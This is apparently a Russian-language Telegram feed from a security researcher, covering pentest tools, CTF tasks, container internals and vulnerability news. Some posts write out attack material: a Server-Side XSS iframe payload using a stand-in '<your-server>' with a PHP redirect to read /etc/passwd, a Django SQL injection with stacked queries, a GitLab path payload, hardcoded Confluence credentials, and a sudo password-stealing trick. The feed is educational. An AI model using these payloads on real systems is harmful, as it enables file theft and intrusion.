Telestorm

Главная

Стикеры

Каналы

Telestorm

root@rivens.life

Basic concepts of cybersecurity and programming. All content is published for introductory purposes. The author urges you to love each other. Git: https://github.com/rive-n Stackoverflow: https://stackoverflow.com/users/14683725/r1v3n

root@rivens.life

Совсем недавно был пост про ChatGPT и как его можно использовать для troubleshooting в Kubernetes. Но энтузиасты пошли дальше и показали как можно запустить Кубер внутри ChatGPT. Да-да, вы не ослышались :) Стоит отметить, что этот эксперимент был вдохновлён другим экспериментом – Building A Virtual Machine inside ChatGPT. Автор показывает как можно раскатать кластер через kubeadm прямо внутри чата (не без ошибок ChatGPT конечно, но всё же). Более того, лёгким движением руки версии Nodes обновляются с 1.20.1 до 1.21, в Pods стартуют контейнеры, и даже запущенный nginx внутри контейнера отдаёт ответ. Звучит как магия, не иначе. Всем хороших выходных и удачных экспериментов =)


0
208

Не могу не написать про прекрасный эмулятор терминала, который использует под капотом ИИ, так еще и написан на Rust! Речь идет про Warp. Терминальный эмулятор, который использует GPU Based Rendering (прям как Alacritty, речь о котором шла тут), но куда проще…


0
312

Продолжаю вкидывать интересные тулзы. На очереди - eyeballer. Думаю многие слышали про инструменты, позволяющие быстро пройтись по определенному скоупу и на выходе получить скриншоты. К примеру, есть тулза под названием aquatone, которая использует headless chromium для получения скринов. Но когда скоуп огромен - иногда бывает сложно или крайне лениво сортировать результаты по определенному паттерну и хотелось бы сразу понять, за что можно зацепиться: за старые приложения, приложения, подверженные свежим уязвимостям и так далее. eyeballer - инструмент, который использует TensorFlow в совокупности с PIL. Это необходимо для того, чтоб на выходе получить отсортированные результаты того же aquatone, к примеру, согласно следующим паттернам: 1. Кастомные 404; 2. "Припаркованные" странички; 3. Формы авторизации. На гите сразу находятся "веса" для того, чтоб TensorFlow работал как надо. Но можно натренировать нейронку самому, если у Вас вдруг набралось много скринов и есть много времени. Так как это обычный .py скрипт - устанавливается все крайне просто. Использовать с весами с гита можно из коробки.


0
561

​Есть прикольная тулза под названием Sandmap. Она поддерживается только для GNU/Linux (Так вышло). Но так как у меня мак, а тулза приглянулась, пришлось форкнуть: Sandmap for MacOS. Это некая обертка над nmap engine с интерфейсом, схожим с интерфейсом Msfconsole. Разработчик пишет об Sandmap следующим образом: Sandmap is a tool supporting network and system reconnaissance using the massive Nmap engine. It provides a user-friendly interface, automates and speeds up scanning and allows you to easily use many advanced scanning techniques. Как пользоваться можно прочитать тут. Гайд по установке в README.


0
478

​Очередная забавная история. Теперь с получением удаленного исполнения кода на роутере. На старой квартире стоял роутер от Xiaomi. Дело было вечером, делать было нечего. Начал исследовать, наткнулся на интересный вид путей приложения: /cgi-bin/luci/;stok=d714f92968bb8cc6466f87c8618dfc30. Ну а дальше - как на HackTheBox. Чтоб понять что перед нами - гуглим и натыкаемся на следующий репорт. Становится понятно, что есть возможность получить удаленное исполнение кода, но ссылок на POC нет. Но если хорошо поискать, то можно найти не только POC, но еще и полноценный ресерч, в котором показано и объяснено какие именно запросы приводят к возникновению удаленного исполнения кода от имени супер-пользователя. Ссылка на статью.


0
549

Не могу не написать про прекрасный эмулятор терминала, который использует под капотом ИИ, так еще и написан на Rust! Речь идет про Warp. Терминальный эмулятор, который использует GPU Based Rendering (прям как Alacritty, речь о котором шла тут), но куда проще конфигурируется и может быть использовал сразу после установки (прям как ITerm). Я достаточно долго сидел на Alacritty и могу сказать одно - посидев день на Warp я сразу же удалил Alacritty и все то, что связывало меня с данным эмулятором. Свяазано это с тем, что Warp банально удобнее и поставляет те фишки, речь о которых и не шла в Alacritty. Из того, что может заинтересовать: 📶 Возможность редактировать мульти-лайны; При написании нескольких команд, есть возможность редактировать сразу их все вместе взятые, как в какой-нибудь IDE или в текстовом редакторе. 📶 ИИ под капотом; Есть возможность задать ИИ вопрос о линуксе, на что он вернет подсказку. Очень удобно, можно не лезть в гугл! 📶 Разделение результатов выполнения команд на плашки; Когда сидишь в терминале круглыми сутками, важным аспектом является восприятие информации. И с этим помогает Warp прямиком из коробки! Все результаты выполнения разделены на плашки и у каждой плашки - свое меню, позволяющее скопировать результат выполнения или скопировать команду. 📶 Интерактивная помощь при вводе флагов для команд; После ввода команды, можно нажать на TAB, откроется окошко, в котором можно прочитать об опциях, доступных для той или иной тулзы. 📶 Можно работать в 1 терминале командой! Честно говоря, пока не успел воспользоваться этой фишкой, но в доке и в видео видел такую возможность. Не очень полезно, но прикольно. Своего рода screen на максималках. 📶 При прокрутке результатов выполнения - промпты снизу и сверху! Когда исполняется команда - сверху остается command prompt с самой командой, ниже - результаты выполнения, а под ними - плашка для ввода команды. Эти плашки закреплены, что не позволяет потеряться в информации. В настоящий момент я использую следующую сборку: Warp + Starship + Zsh. Сборку подсмотрел тут. Не пожалел, что установил Starship вместо какого-нибудь "Oh my Zsh". Starship крайне гибок и удобен в настройке. Гайд по настройке может быть найден в документации. Если будете устанавливать, имейте ввиду: для того чтоб кастомные темы (к примеру из Oh My Zsh или Starship) работали - нужно сделать следующее: 1. Перейти в настройки; 2. Перейти в Features; 3. Включить опцию PS1 (Honor user's custom prompt). Из минусов - собирается крайне много спорной статистики. Прочитать подробнее можно тут.


0
2,950

​2022 подходит к концу. Несмотря на то, что канал стал более серьезным местом, в которое я больше не спамлю своими мыслями или чем-то сугубо личным, я бы не хотел переставать подводить итоги года. Это уже стало своего рода традицией, что ли. 2022 год - был крайне удивительным, сложным и запоминающимся для каждого. Несмотря на то, что год привнес в жизни людей много отрицательных эмоций, лично для меня этот год стал годом открытий и достижений. За 2022 я наконец разобрался с университетом, получил диплом о высшем образовании, продолжил развиваться в сферах Application Security / Pentest. И, могу сказать, что наконец чувствую себя достаточно уверенно в том деле, которым я занимаюсь. За этот год я провел достаточное количество ресерчей, если их так можно назвать. Открыл для себя просто невероятно много всего и, что самое главное - стал полноценной частью команды BI.ZONE. Отдельную благодарность я бы хотел выразить именно коллегам из компании BI.ZONE, которые не останавливаются перед преградами и всегда идут вперед, несмотря ни на что. Этот темп и эта уверенность позволяет мне всегда учиться чему то новому. В этом году я участвовал в разработке некоторых ивентов и, что главное, сами ивенты были хорошо организованы, на них были собраны таски достаточно высокого уровня сложности, но что важнее - задачки были из реальных кейсов. Это классно, когда через призму ивентов можно поделиться с коллегами из других компаний своим опытом. В общем, подводить итоги настолько насыщенного года крайне сложно, так как произошло и вправду крайне много всего. Напоследок, хотелось бы сказать следующее: В 2023 я планирую продолжить заниматься своим делом и планирую продолжать развивать свое небольшое коммьюнити. Ну и без пожеланий никак - желаю каждому в 2023 году сталкиваться с задачами, которые позволят прокачать свои скиллы, побольше нулей и CVE. Всех с наступающим! 🥳


0
541

🎙 Это, скорее всего, последний технический пост в 2022 году. Давно ничего не постил про свежие и интересные/нашумевшие уязвимости. Самое время чтоб исправить ситуацию: GitLab - за последние пару месяцев на hackerone насыпалось много репортов. Среди них - GitLab XSS, GitLab local repo include, GitLab XSS with CSP bypass, Yet another GitLab RCE via GitLab import project. Из самого интересного, с чем я бы советовал ознакомиться - это RCE и local repo include. RCE достигается через старую функцию (ссылка на репорт есть в этом посте), которая занимается парсингом объекта с последующим исполнением команд в Redis. Парсинг происходит посредстам получения некоторых атрибутов (to_s, bytesize). Для создания объекта исследователь использовал возможности библиотеки Sawyer, которая позволяет представлять хеши в виде объектов. Local repo include - не проверялась схема и криво парсился URI. При передачи следующей полезной нагрузки: file://doesnotexists/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git, согласно правилам, описанным в коде, происходила замена последовательности символов "://" на "://oauth2:#{context.configuration.access_token}@". По итогу, на выходе получалось следующее: file://oauth2:#{context.configuration.access_token}@doesnotexists/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git и парсер брал лишь часть, начинающуюся с "/var/opt". (Ссылку на репорт оставлял еще тут). ProxyNotShell - уязвимость, на глубокое понимание которой может уйти очень много времени. Смысл заключается в том, что атакующий создает объект типа Type, после приводит его к другому типу с помощью implicit/explicit каста, к примеру к XamlReader и после - вызывает метод Parse. Внутрь метода Parse в качестве аргумента попадает XAML, указанный в теге <s>. Внутри XAML'a - полезная нагрузка, позволяющая получить удаленное исполнение кода. По итогу, чейн: Создание объекта типа Type -> каст объекта к типу XamlReader -> RCE через вызов метода Parse. Чейн потрясающий, очень советую к разбору. OracleAccessManager - RCE via Java deserialization. Тут и говорить нечего. Самый обычный десер, как в каких-нибудь лабах.


0
586

Когда нибудь слышали про ошибки во время конвертации из .html в .pdf? Нет? Тогда советую ознакомиться с видом уязвимостей под названием Server Side XSS (Dynamic PDF). Обычно, уязвимость этого рода приводит к возможности совершения запросов от имени сервера (SSRF) и в худшем случае - к чтению локальных файлов. Но, так получилось, что иногда дефолтные пейлоады для чтения локальных файлов не работают по какой-то причине. Что же, ресерчер по имени jakedmurphy1 обнаружил интересное поведение, которое позволяет в большинстве случаев обойти ограничение на чтение файлов следующим образом: 1. В .html документ, который будет конвертирован в .pdf помещается следующая полезная нагрузка: <iframe src='http[s]://<your-server>/<your_php_file>?a=file:////etc/passwd'/> 2. На сервере <your-server> размещается следующий .php код: <?php $loc = $_GET['a']; header('Location: '.$loc); ?> После того, как триггернется Server-Side XSS, мы сможем получить содержимое файла, указанное внутри аргумента a.


0
4,650

Конец года - это отличная возможность разобрать весь завал из вкладок, оставленных на "почитать на потом". Делюсь всем тем, что удалось нарыть: ⏺ Методы исполнения в Python окружениях (методы выхода из sandbox'ов). Очень полезно на всяких CTF и бывает помогает для решения тачек на Hack The Box. Из прям крутого, что можно записать в заметки: ⏺Есть возможность исполнения с помощью eval(), но нет возможности вызвать compile(). ⏺Python bytecode. Вот тут я упоминал, что можно использовать штуку под названием dis.dis(), но без подробностей. По ссылке подробности, такие, как: написание собственного дизассмеблера, информация о том, как хранятся опкоды и что такое опаргументы, что такое Stack/Heap, как и где хранятся объекты и что происходит внутри CPython. ⏺ Крадем пароль от супер-пользователя на u*nix like системах. Если вкратце, то весь трюк заключается в том, что атакующий может подменить исполняемый файл (type sudo) на bash script, который будет вести себя схожим образом, используя утилиту read, скрывая вводимые данные с помощью флага -s и сохраняя пароль в локальный файл или отсылая его на сервер, подконтрольный атакующему. Немного видоизмененный скрипт доступен по следующей ссылке. ⏺ Отличный гайд по написанию несложных утилит под esp32. ⏺Алгоритмы и структуры данных с примерами на языке программирования Python. ⏺ Абстрактные синтаксические деревья, разбираемся на примере Python. ⏺ Yet another SSTI в pugjs. ⏺Envoy heap vulnerability - уязвимость возникла в следствии неправильной обработки данных во время процесса HTTP/2 -> HTTP/1 forwarding.


0
667

root@rivens.life pinned a file


0
0

Если вам вдруг тоже было интересно, как именно работает под капотом технология контейнеризации, то советую ознакомиться с этим постом. Не так давно я решил упороться по некоторым штукам, поставляемых ядром линукс. К примеру - unshare, cgroups, apparmor, capabilities and etc. Почти все это используется для реализации изолированных окружений, которые, в целом, могут быть названы контейнером. Сами контейнеры, если мы говорим о таком вендоре, как Docker, работают на основе технологий, описанных выше, а также используют некоторый сисколлы, на типе: fork, prctl, clone и другие. Неплохой разбор относительно того, что происходит после запуска контейнеров, может быть найден в видео от LiveOverflow (тык). Понятное дело, что это лишь вершина айсберга. Для того, чтоб сложилась полная картина мира, мне пришлось потратить достаточно большое количество времени на своего рода ресерч. В конце-концов, я нашел выжимку по namespaces, ознакомиться можно тут. Но если этого вдруг будет мало, то вот весь перечень материалов, которые были использованы мной для полного ознакомления с тем, как работают неймспейсы, что и куда мапится и так далее: 1. Цикл статей по namespaces. 2. Более глубокое погружение в недра линукса - ознакомление с необходимыми сисколами. 3. seccomp в контексте контейнеров. 4. Контрольные группы - cgroups v1 - руководство для чайников. 5. cgroupsv1 vs cgroup v2. 6. Создаем свою контрольную группу. 7. Linux kernel Namespaces and cgroups - resource management. 8. Создаем свои изолированные среды с использованием unshare. 9. PID Namespace - изоляция дерева процессов. 10. Примеры кода на языке программирования Си, позволяющего исполнять что-либо в контексте namespaces. 11. Unshare - man (самое полезная дока за всю мою жизнь). К посту будет прекреплена моя преза по созданию изолированных окружений с использованием unshare. Там еще есть совсем немного про контрольные группы. Приятного ознакомления :)


0
1,450

История о недавнем случайном похеке. Я недавно съехал в съемную квартиру, тут стоял старенький роутер [ДАННЫЕ УДАЛЕНЫ]. Роутер очень любил рвать соединения, отчего появилось желание его сменить. Но, как известно, чтоб сменить роутер надо знать некоторые настройки, которые провайдер обычно высылает в письме или предоставляет в договоре. Доступа к договору, понятное дело, тоже не было.. Ну и как то ночью я решил посмотреть, что именно за технологии использует роутер [ДАННЫЕ УДАЛЕНЫ]. Так получилось, что мне удалось обойти некоторые правила безопасности продукта [ДАННЫЕ УДАЛЕНЫ] и получить всю необходимую информацию для настройки нового роутера, т.е: 1. ip 2. mask 3. gateway 4. dns_primary Возможно, эти данные можно получить и как-то иначе, но я не задавался этим вопросом. Бага позволяет получить куда больше инфы прямиком из админки. Постараюсь немного позже сделать разбор :)


0
526

🪲 27 проектов от VK ждут вас на платформе BI.ZONE Bug Bounty! Встречайте программу bug bounty от VK — компании, которая не нуждается в представлении. В скоуп входят «ВКонтакте», «Одноклассники», «Почта Mail.ru» и другие — 27 проектов с разной инфраструктурой и подходами к безопасности на любой вкус. За найденную уязвимость вы получите вознаграждение от 3 тыс. до 1,8 млн рублей в зависимости от уровня критичности угрозы. Программа уже доступна на нашей платформе. Чекайте скоуп и ловите баги!


0
547

👨‍💻 Уязвимые фрагменты кода Если хотите попрактиковаться в анализе защищенности кода, то обратите внимание на репозиторий от YesWeHack, которые каждую пятницу публикуют у себя в твиттер фрагменты кода с различными уязвимостями. Фрагменты кода удобны для начинающих, но подходят для всех уровней. Репозиторий также содержит скрипт для установки и тестирования этих фрагментов кода локально. Ссылка на GitHub #code #web


0
512

Я просто оставлю это здесь: https://hackerone.com/reports/1685822


0
645

Очередная порция новостей. На этот раз за октябрь 2022! 1. GBK Encoding - CRLF Injection to Reflected XSS. GBK Encoding - расширение для набора символов под идентификатором GB 2312, созданное для упрощения Китайского. Следующий набор символов представляет из себя ничто иное, как всем известную комбинацию: \r\n - 嘍嘊. Этим и воспользовался исследователь, за что получил 6000$ от Microsoft. Прочитать подробнее можно тут. 2. CSTI to Stored XSS in Microsoft Azure SFXv1 - Исследователь обнаружил несколько недоработок, в следствии которых ему удалось проэксплуатировать CSTI, получить Stored-XSS для того, чтоб в дальнейшем была возможность управлять кластером или определенными его участками (нодами) от имени администратора. 3. Text4Shell - уязвимость, затрагивающая компонент Apache Commons Text. Уязвимость возникла из-за недостаточной обработки данных, что впоследствии приводило к возможности исполнения произвольного кода на сервере, но только в определенных обстоятельствах. Для эксплуатации необходимо, чтоб на сервере был следующий сетап: 3.1 Создавался объект типа StringSubstitutor; 3.2 Вызывалась одна функция из перечня: [replace, replaceIn]; 3.3 Был установлен движок обработки скриптов, к примеру - Nashorn для JDK <= 15 и JEXL для версий свыше 15; 3.4 Пользовательские данные без обработки попадали в одну из функций из пункта 3.2. 4. Forti*Auth bypass - Байпас авторизации в таких продуктах, как: FortiOS, FortiProxy, FortiSwitchManager. Уязвимость возникла из-за неправильной обработки заголовков. Благодаря чему, атакующий мог манипулировать заголовком Forfard и заголовком User-Agent, что в совокупности дало возможность обойти авторизацию и получить неправомерный доступ к системам. 5. GitLab Remote code execution (make gitlab great again) - Уязвимость, базирующая на возможности перезаписи объектов, в следствии чего атакующий может получить удаленное исполнение кода через сериализованный RESP объект, расположенный в кэше Redis. 6. Microsoft Office 365 Message Encryption (OME) utilitises Electronic Codebook (ECB) mode of operation - уязвимость, возникшая из-за Electronic Codebook (ECB) mode of operation. #news


0
666

Недавно столкнулся с проблемой, когда есть доступ к хипдампу джавы через Spring boot actuator, но дамп весит очень много и не может быть распаршен самыми распространенными инструментами. Решил написать о том, чем можно попробовать открыть и проанализировать подобные файлы и что делать, когда ничего не получается. Прочитать можно тут.


0
688

Что интересного произошло за сентябрь 2022: 1. Было зарегистрировано 2 новые CVE, которые в совокупности дают чейн, позволяющий произвести удаленное исполнение кода на Zimbra server. CVE-2022-27925 - ZIP Slip, для эксплуатации нужна учетка админа + CVE-2022-37042 - Байпас авторизации. Можно было не указать токен авторизации в запросе и получить доступ к некоторым возможностям администратора. 2. GifShell - новый вектор атак на Microsoft Teams, состоящий из чейна недоработок. По дефолту, сотрудники компании не могут отсылать незнакомцам вложения. Но если записать трафик и попробовать повторно отправить записанный пакет, изменив уникальный идентификатор чата, то окажется - что вложения отсылать можно. Плюс ко всему, можно изменять все поля в JSON'e, в котором, как оказалось, хранятся 2 важных ключа: title - название файла, которое будет отображаться в чате, baseUrl - url, откуда будет получен файл. baseUrl также может являться диплинком, что позволяет атакующему с легкостью украсть Ntlm hash через запуск некоторых приложений. Также, есть возможность получения удаленного исполнения кода посредствам загрузки стейджера. Подробнее можно ознакомиться тут и тут. 3. Gitlab Import RCE - удаленное исполнение кода в процессе импорта проекта в гитлабе. CVE-2022-2185 - суть заключается в том, что атакующий может заставить гитлаб в процессе формирования пайплайна сходить на поддельный сервер, спарсить значения из поддельного graphql и проэксплуатировать command_injection. 4. GitLab - Path traversal to RCE - CVE-2022-0831 - после авторизации можно было обратиться на ручку, которая была уязвима к path traversal из-за неправильной фильтрации по regex. Логика была такова: взять из строки все, кроме слешей. По итогу это обходилось обычным urlencode. Как получается RCE? Эта ручка поддерживает метод PUT и загрузку файлов. Таким образом, можно в любое место загрузить свой файл. К примеру - id_rsa.pub. 5. JuicyPotato is back! Скачать POC можно тут. Ознакомиться с ресерчем тут. 6. BitBucket RCE. 7. IKE RCE - CVE-2022-34721. #news


0
828

root@rivens.life

GraphQL - это не так больно, как кажется. Вся грязь, которую можно натворить с использованием GraphQL базируется на паре приемов. В последнее время очень часто сталкивался с GraphQL на проектах и достаточно успешно находил в сервисах кучу баг. GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type; Весь пентест GraphQL строится вокруг Интроспекции. Интроспекция - это ничто иное, как описание всего, до чего мы можем дотянуться. Аналогия - information_schema. Благодаря интроспекции можно получить: 1. query - ничто иное, как GET в протоколе HTTP/HTTPS. Получаем данные, но изменять их не можем. 2. mutation - POST/PUT/DELETE etc. Все, что может изменять данные тем или иным образом. Бывает так, что запрос интроспекции отключен некоторыми правилами приложения для обеспечения большей безопасности. В этом случае можно получить интроспекцию с помощью активного сканирования. Для этого есть инструмент под названием clairvoyance. Не буду описывать процесс установки, там все достаточно тривиально. После получения Интроспекции переходим в burp и устанавливаем 2 расширения: 1. Raider - супер удобное расширение, которое позволяет в удобном виде видоизменять GraphQL запросы. Форматирование и экранирование производится благодаря этому расширению. 2. Inql - основной инструмент для построения запросов. Аналогия - wsdler. На основе интроспекции получаем набор мутаций и запросов. Что может быть найдено в процессе тестирования? Все зависит от стека и от реализации. Зачастую - Broken access control, stored cross-site scripting, sql injections. *Под звездочкой*: Недавно наткнулся на интересную реализацию GraphQL. Представьте, что у вас есть не 1 большой связный граф, как это обычно бывает, а несколько. При работе с GraphQL необходимо обращать внимание на ошибки и на заголовки запроса. К примеру, есть интересный заголовок: Execution-Context, который, как ни странно, отвечает за контекст (за граф) в котором будет выполнен запрос. Проще говоря - это своего рода ролевая модель, только вместо ролей - графы. Что делать в случае, когда наткнулись на Execution-Context? После получения валидного запроса к GraphQL отправляем все это дело в burp intruder и фаззим значение данного заголовка. Далее - фильтрация по Content-Length. Update: обязательно добавить в словарик: /voyager - рендеринг интроспекции. Можно украсть Интроспекцию и отрендерить самому тут. /graphql - ручка, на которой обычно располагается graphql.


0
759

root@rivens.life

Был разработчиком задания Baby Cached View. У многих от него очень сильно горело, так как многие пытались сбрутать хеши и зайти под полученными учетными данными. Делать нужно было совсем не так, вот райтап: https://riven.pw/posts/ctf/ctfdev/posts/new_post/ UPD: Немного изменил пост, добавил красивых картиночек (:


0
723

root@rivens.life

​Так вот, о чем видос: Существует так называемая самореферентная формула, открытая Джеффом Таппером и в последствии названная Формулой Таппера, которая позволяет изобразить себя при отображении на плоскости. Формулу можно использовать для воспроизведения произвольных изображений, при этом она не будет содержать никаких ссылок на себя. Как именно это работает - можно прочитать по ссылке, закрепленной в 1ой кнопке. Ну и сам анонс - я решил переехать с ресурса telegra.ph, так как он жутко не удобный и не позволяет мне делать то, что необходимо, для нормальной редакции постов. Поэтому, встречайте: https://riven.pw!


0
721

root@rivens.life

Я тут хотел кое-что заанонсить, но очень противный человек под ником @mlsdmitry вкинул идею: "Сделай какой-нибудь челлендж, после прохождения которого ты получаешь ссылку...Но не base64..." Кто я такой, чтоб не согласиться на подобную авантюру? И, удивительно, это не WEB! В общем, задачка скорее фана ради, нежели ради пота. Для решения можно посмотреть видосик.


0
604

root@rivens.life

Принимал участие в разработке заданий на еще 1 соревнования от ребят из BSS, пост со всей информацией: https://t.me/bank_security_challenge/3 Задания обещают быть интересными, советую принять участие :)


0
694

root@rivens.life

Принимал участие в разработке задания Proxyhell. Всего задание было решено 3 командами. Райтап, опубликованный @sh1y0, можно прочитать тут. Если вкратце - было дано несколько конфигурационных файлов, так как сеть приложения состояла из нескольких прокси серверов: 1. Varnish; 2. Apache в качестве реверс прокси; 3. Nginx; 4. Nginx ldap; На 3 ноде (Nginx) была проверка на то, что задан заголовок X-Real-Ip, который, якобы, должен свидетельствовать о том, что запрос сделан не из локальной сети. Если данный заголовок задан - Nginx отдаст 403 код. Для того чтоб решить данное задание необходимо было ознакомиться с ошибкой в механизме Hop by hop. После успешной эксплуатации необходимо было найти уязвимость в Nginx ldap, о которой было крайне много шуму несколько месяцев назад. Суть заключалась в том, что сервер позволяет указать, куда именно будет делаться запрос с попыткой авторизации. При попытке авторизации Nginx передаст имя пользователя и пароль в открытом виде. Райтап классный, спасибо всем, кто принимал участие в CTFZone/OFFZone 2022!


0
647

root@rivens.life

[OUTDATED] Уже через 4 минуты начинается CTF.Zone 2022! В этом году я также принимал участие в разработке и тестировании тасков. Задачки обещают быть очень интересными :).


0
504

root@rivens.life

🎰 Доступна полная программа OFFZONE 2022 2 трека, 3 тематические зоны — 58 докладов и 3 воркшопа с отборным техническим контентом ждут вас уже на следующей неделе! Смотрите программу на сайте


0
529

root@rivens.life

​Байпас авторизации в продуктах #VMware: https://twitter.com/VietPetrus/status/1554485970514608128 Пок обещают опубликовать позже, но пока есть только скрин и митигейшн


0
655

root@rivens.life

Не получается обойти пиннинг с использованием какого-то скрипта или с использованием objection? Не беда. Какой-то энтузиаст собрал воедино несколько проверенных скриптов для обхода пиннинга: https://github.com/httptoolkit/frida-android-unpinning


0
600

root@rivens.life

​Байпас авторизации в продуктах #VMware: https://twitter.com/VietPetrus/status/1554485970514608128 Пок обещают опубликовать позже, но пока есть только скрин и митигейшн


0
529

root@rivens.life

Наткнулся на просторах интернета на репозиторий, содержащий в себе несколько парсеров наиболее популярных платформ, на которых публикуется информация касательно уязвимостей. Ознакомиться можно перейдя по следующим ссылкам: Репозиторий: https://github.com/karimhabush/cyberowl Сами парсеры: https://github.com/karimhabush/cyberowl/tree/main/spiders К сожалению, твиттера в списках нет. Но, возможно, в будущем появится. Перечень ресурсов, с которых происходит парсинг: 1. US-CERT 2. MA-CERT 3. CERT-FR 4. IBM X-Force Exchange 5. ZeroDayInitiative 6. OBS Vigilance 7. VulDB


0
448

root@rivens.life

Вы когда нибудь задумывались о том, как работает генератор коротких ссылок с точки зрения DevOps? Генератор коротких ссылок - сервис, который преобразует все составляющие запроса в определенный формат данных. После посещения сгенерированной ссылки происходит перенаправление на первоначальный источник. К примеру - https://www.bugcrowd.com/about/contact?a=b&long=true будет преобразовано в https://<host>/<буквенно-цифровая последовательность> Обычно, при разработке таких систем ставятся требования, такие как: 1. Объем трафика; 2. Длина сокращенного адреса; 3. Символы в сокращенном URL адресе. Допустим, имеем следующие данные: 1. 100 миллионов сгенерированных URL адресов в день; 2. Как можно короче; 3. [a-zA-Z0-9] 1. Необходимо рассчитать количество операций в секунду. В нашем случае: 100млн / 24 / 3600 = 1160. 2. Необходимо рассчитать количество возможных операций чтения. Допустим, это будет соотношение 10 к 1, т.е 11600 операций. 3. Длина среднего адреса, к примеру, будет равна 65 символам. В год получим 100млн * 365 записей, что равно 365млрд. Тогда требование к хранилищу: 365млрд * 65 байт * N лет. Расчеты это, конечно, хорошо, но поговорим теперь про хранилище, алгоритмы и коды состояний. Для подобного рода сервисов используют 2 кода состояний: 1. 301 - Перманентный редирект. Браузер кеширует ответ и последующие запросы к тому же адресу не будут напрапвляться к разрабатываемому сервису. 2. 302 - Временный редирект. Запросы к тому же ресурсу не кешируются самостоятельно и будут постоянно проходить через разрабатываемый сервис. 302 код используется, чаще всего, для сбора аналитики Выгоднее всего хранить значения в виде хеш-таблицы: {longUrl: shortUrl} . Но появляется вопрос - каков сам алгоритм сокращения URL-адресов? Тут все не так очевидно, как может показаться на первый взгляд. Раннее мы рассчитали, что максимальное количество хранимых адресов равно 365млрд. Паттерн для сокращения адресов содержит в себе 62 символа. Для того чтоб мы смогли получить более 365млрд уникальных сокращенных адресов - необходимо выбрать длину hashValue такую, что: K - количество символов; n - степень; r - ограничение в количество адресов: K^n > r, т.е 62^n > 365млрд. В нашем случае значение равно 7 (порядка 3.5 триллиона уникальных hashValue) Существует несколько подходов для дальнейшего преобразования: 1. Значение функции f(x) + разрешение конфликтов 2. Преобразования в base<n> 1. Значение функции f(x) + разрешение конфликтов Как было сказано раннее - необходимо получить строку, которая содержит в себе 7 уникальных символов из последовательности [a-zA-Z0-9]. На ум сразу приходят функции хеширования. Они обеспечивают какую-никакую, но уникальность. Проблема заключается в том, что настолько короткого хеша просто-напросто не существует (самый короткий - CRC32 - 8 символов). Поэтому, можно пойти следующими путями: 1.1 Брать первые или последние 7 символов хеша. Но это черевато конфликтами. Для разрешения конфликтов можно рекурсивно добавлять соль. 2. Преобразование в другую систему счисления. Еще одним распространенным методом является преобразование в другую систему счисления. В нашем случае это base62. Но для этого необходимо иметь уникальные идентификаторы. Для того чтоб создать уникальный идентификатор можно воспользоваться генератором snowflake. Данный генератор позволяет получить идентификатор вида: 1 бит - 0/1 41 бит - временная метка 5 бит - ID ЦОД 5 бит - ID компьютера 12 бит - Номер последовательности. Это позволит генерировать уникальные последовательности, распределять их по ЦОДам, что даст большую масштабируемость. Таким образом, генератор, к примеру, вернет значение: 2009215674938. При переводе в base62 получим zn9edcu.


0
414

root@rivens.life

Знакомы вам ситуации? 1. У Заказчика стоит доменная политика 10 символов, строчные и прописные, цифры и спецсимволы (хорошая политика), но вы с внешки удачно заспреили пароль Fduecn2022! (Август2022! на русской раскладке) и получили доступы в почту, облако и VPN? 2. У Заказчика хороший домен с тировой архитектурой, но вам удалось найти в сети старый стенд, который никто не использует test.local. Далее ZeroLogon и Password Reuse на основной домен? 3. У Заказчика много УЗ с не истекающими паролями и вообще в домене есть "стандартные" пароли. Все это большие риски безопасности, но что в этих случаях можно советовать Заказчику? В сотрудничестве с @ewig_m и @Riocool, мы рады сообщить о первом выпуске проекта с открытым исходным кодом DC Sonar, который предоставляет функциональность для анализа доменов AD на предмет рисков безопасности, связанных с учетными записями: - Выгрузка и перебор NTLM хэшей из заданных доменов AD для получения списка учетных записей со слабыми и уязвимыми паролями; - Анализ учетных записей домена AD, чтобы составить список УЗ с никогда не истекающими паролями; - Анализ учетных записей домена AD по NTLM хэшам паролей для определения учетных записей и доменов, в которых пароли повторяются. Дополнительную информацию можно найти в репозитории https://github.com/ST1LLY/dc-sonar.


0
347

root@rivens.life

Привет. Много времени нынче трачу на разработку и на ресерчи из-за всяких локально возникающих проблем. Многие из проблем возникли из-за celery и celery-beat. Пришлось решать. Заодно написал статью о том, что и как делать в случае возникновения некоторых проблем. Если вы когда-то работали с celery-beat и продолжаете заниматься этим, то статья точно для вас: https://telegra.ph/Uspeshno-boremsya-s-celery-beat-07-29 Приятного прочтения #статья


0
471

root@rivens.life

​CVE-2022-26138 - Atlassian Confluence - Use of hardcoded credentials Никогда такого не было и вот опять. В расширении, позволяющем создавать опросы и менеджить фидбеки, были обнаружены захардкоженные креды. По дефолту создавался пользователь с именем disabledsystemuser и паролем disabled1system1user6708, который находился в группе пользователей: confluence-users Уязвимые версии: 2.7.34, 2.7.35, 3.0.2 Уязвимый пакет: maven-atlassian-external/com/atlassian/confluence/plugins/confluence-questions/3.0.2/confluence-questions-3.0.2.jar Официально аккаунт создан для: "Помощи администраторам, которые переносят данные из приложения в Confluence Cloud"


0
534

root@rivens.life

Десер + фишки асинка, прекрасный чейн: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/


0
648

root@rivens.life

CVE-2022-34265 - Django SQLI via Trunc() && Extract() functions; Прочитать подробнее можно тут. Даже на хабре написали о том, что это за уязвимость и как эксплуатировать! Жаль, конечно, что местный сплойт не очень работает в реальных (мой тестовый стенд вполне реален!) условиях. Модель для базы данных выглядит максимально просто: class Test(models.Model): username = models.CharField(max_length=200) date = models.DateField(verbose_name='date') SQL запросы для функций весьма схожи, отличаются лишь в вызове TRUNC или EXTRACT. К примеру, для функции Trunc(kind) формируется следующий SQL запрос: SELECT "testapp_test"."id", "testapp_test"."username", "testapp_test"."date", DATE_TRUNC('year', "testapp_test"."date") AS "month" FROM "testapp_test" Следующим образом выглядит вызов уязвимой функции: Test.objects.annotate(month=Trunc('date',kind="EXPLOIT (в нашем случае - year)")) Если работают stacked query - все отлично: data = Test.objects.annotate(month=Trunc('date',kind="year', \"testapp_test\".\"date\") FROM \"testapp_test\" UNION SELECT 1,'test',null,null;insert into \"testapp_test\"(id, username, date) values (2, 'test', LOCALTIMESTAMP);-- ")) Если нет, то все куда сложнее, но проэксплуатировать все равно возможно. Следующим образом выглядит 